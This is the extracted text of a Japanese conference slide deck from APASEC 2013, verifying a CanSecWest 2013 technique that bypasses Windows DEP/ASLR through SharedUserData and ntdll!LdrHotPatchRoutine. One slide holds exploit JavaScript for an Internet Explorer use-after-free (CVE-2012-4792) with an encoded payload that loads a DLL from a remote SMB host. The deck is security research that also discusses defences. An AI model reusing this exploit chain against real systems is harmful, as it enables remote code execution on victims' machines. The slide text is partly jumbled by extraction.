Weitere ähnliche Inhalte Ähnlich wie APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。 (20) Mehr von Satoshi Mimura (13) APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。1. ROP/JIT を使わずに CanSecWest 2013 の
DEP/ASLR を回避する。 資料の検証。
を使わずに を回避する。
3. 自己紹介
三村 聡志 (@mimura1133) / APASEC 初参加
http://mimumimu.net/
http://facebook.com/mimura1133
セキュリティ&プログラミングキャンプ 2011 参加。
セキュリティ・キャンプ 2012 チュータ参加。
最近取材受けた [NEW!]
を使わずに を回避する。
5. 資料概要
CanSecWest Vancouver 2013 で発表された資料。
(http://cansecwest.com/csw13archive.html)
NSFOCUS Security Labs の
Yang Yu さんが発表。
ROP や JIT を使わずに、
DEP や ASLR を回避して、
任意のコードを実行しよう、
という内容。
を使わずに を回避する。
8. DEP (データ実行防止)
詳しく書くと :
x86_64 版 Windows + x86_64 環境用の実行ファイル
全てに適用される。 (AlwaysOn) BCD にて nx = AlwaysOff と指定すれば外れる。
スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。
x86 版 Windows or x86 環境用の実行ファイル
重要なもののみに原則適用。 (OutIn) ただし、サーバ用OS では原則全て (OptOut)
なお、PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。
スレッドスタック (User), ページ領域 (User)
参照元:Windows Internals 6 th を斜め読み。
を使わずに を回避する。
10. ASLR (アドレス空間配置のランダム化)
詳しく書くと:
(イメージデータ) TSC (CPU のタイムスタンプ値) を元に 8ビットの値を生成し、
254 で割り、1を足したものに 64KB を掛けたものを用いる。
DLL に関してはシステム起動時に1回計算し、その値を元にランダム化する。
(スタック) TSC を元に5ビットの値を生成して領域を決め、その後 9ビットの値を生成し直して
4を掛けた値を、最終的なスタックのアドレスとする。
(ヒープ)TSC を元に5ビットの値を生成し、そこに 64KB を掛けた値をアドレスとする。
イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲。
参照元:Windows Internals 6 th を斜め読み。
を使わずに を回避する。
15. 概要
Windows NT4 以降の Windows では、
0x7ffe0000 に
SharedUserData 構造体のデータが
アドレス固定で置かれている。
(アドレス固定なので、面倒くさいことせず、決め打ちで呼び出せる!)
[いつも同じ場所にお菓子を隠しているので、食べ放題!]
を使わずに を回避する。
16. 概要
x86 環境では:
0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。
ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる!
x86_64 環境 (for x86 アプリケーション) では:
0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されている。
その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、
ntdll!LdrHotPatchRoutine へのポインタが置かれている。
このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる!
を使わずに を回避する。
17. SystemCall を使った手法 (for x86)
MS08-078
(ポインタ参照の
メモリ破壊の脆弱性)
を応用したサンプル。
eax の先を “7c02fe7f”
(0x7ffe027c + 0x84 = KiFastSystemCall)
になるようにメモリを埋めておく。
このコードが成功すると、
0x11db のシステムコールが実行される。
を使わずに を回避する。
18. ntdll!ldrHotPatchRoutine を使った手法
( for x86_64 )
struct HotPatchBuffer
function CVE-2012-4792_EXP() { {
var e0 = null; ULONG NotSoSure01; // => EAX へ
var e1 = null; ULONG NotSoSure02;
var e2 = null; USHORT PatcherNameOffset;
try { USHORT PatcherNameLen;
e0 = document.getElementById("a"); USHORT PatcheeNameOffset;
e1 = document.getElementById("b"); USHORT PatcheeNameLen;
e2 = document.createElement("q"); USHORT UnknownNameOffset;
e1.applyElement(e2); USHORT UnknownNameLen
e1.appendChild(document.createElement('button')); char[] PatcherName;
e1.applyElement(e0); char[] PatcheeName;
e2.outerText = ""; };
e2.appendChild(document.createElement('body'));
} catch(e) { } PatcherName :
CollectGarbage(); ¥¥192.168.59.128¥x¥x.dll
window.location = "¥u0274¥u7ffe¥u4242¥u4242¥u0014¥u0030¥u0044" +
"¥u0012¥u1212¥u0004¥u005c¥u005c¥u0031¥u0039¥u0032¥u002e¥u0031" +
PatcheeName :
"¥u0036¥u0038¥u002e¥u0035¥u0039¥u002e¥u0031¥u0032¥u0038¥u005c" +
"¥u0078¥u005c¥u0078¥u002e¥u0064¥u006c¥u006c¥u006e¥u0074¥u0064" +
ntdll.dll
"¥u006c¥u006c¥u002e¥u0064¥u006c¥u006c";
}
を使わずに を回避する。
19. ntdll!ldrHotPatchRoutine を使った手法
( for x86_64 )
MS13-008 を応用したサンプル。
先ほどのコードが実行されると、
LdrHotPatchRoutine が実行される。
また、事前に “push edi” としている点から、
関数に必要なパラメータはここから持って
これる。
を使わずに を回避する。
21. テスト環境
Windows 7 Service Pack 1 (x86, x86_64) + Internet Explorer 8
Windows 8 (x86, x86_64) + Internet Explorer 10
留意点:
MSDN よりダウンロードした状態でそのまま使う。
Windows Update 等は禁止する。
を使わずに を回避する。
22. 挿入するDLL :
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL);
break;
}
return TRUE;
}
を使わずに を回避する。
24. もっと動かしてみた。
EMET では、
外部サーバの DLL を見に行
くような挙動はチェックして
いないらしい。
また、
LdrHotPatchRoutine の
呼び出しについても同様。
を使わずに を回避する。
26. APA akasaka
この攻撃を防ぐには?
APA
-180
LdrHotpatchRoutine のパラメータを見る。
struct HOTPATCH{ Flag は正しい?
DWORD Flags;
DWORD Size;
union {
size は正しい?
struct CodeInfo { }
struct KernelInfo { } そもそも、
struct UserModeInfo { } リモートのファイル 呼び出し元は?
struct InjectionInfo { }
struct RenameInfo {} を見に行ってない?
struct AtomicSwap { }
}
}
http://www.openrce.org/articles/full_view/22
あとは外向けのファイアウォールで、
ここに LdrHotPatchRoutine に対しての
SMB 通信を切る。 詳しい資料がある。
を使わずに を回避する。
27. Windows 8 では?
SharedUserData に SystemCall を指し示したポインタがない。
Windows XP Windows 8
Windows 8
でも、KiFastSystemCall 自体は存在する。
プロセスからアクセスできる範囲を全部検索してみても、
そこを示したポインタはなさそう。 を使わずに を回避する。
32. ROP/JIT を使わずに CanSecWest 2013 の
DEP/ASLR を回避する。 資料の検証。
を使わずに を回避する。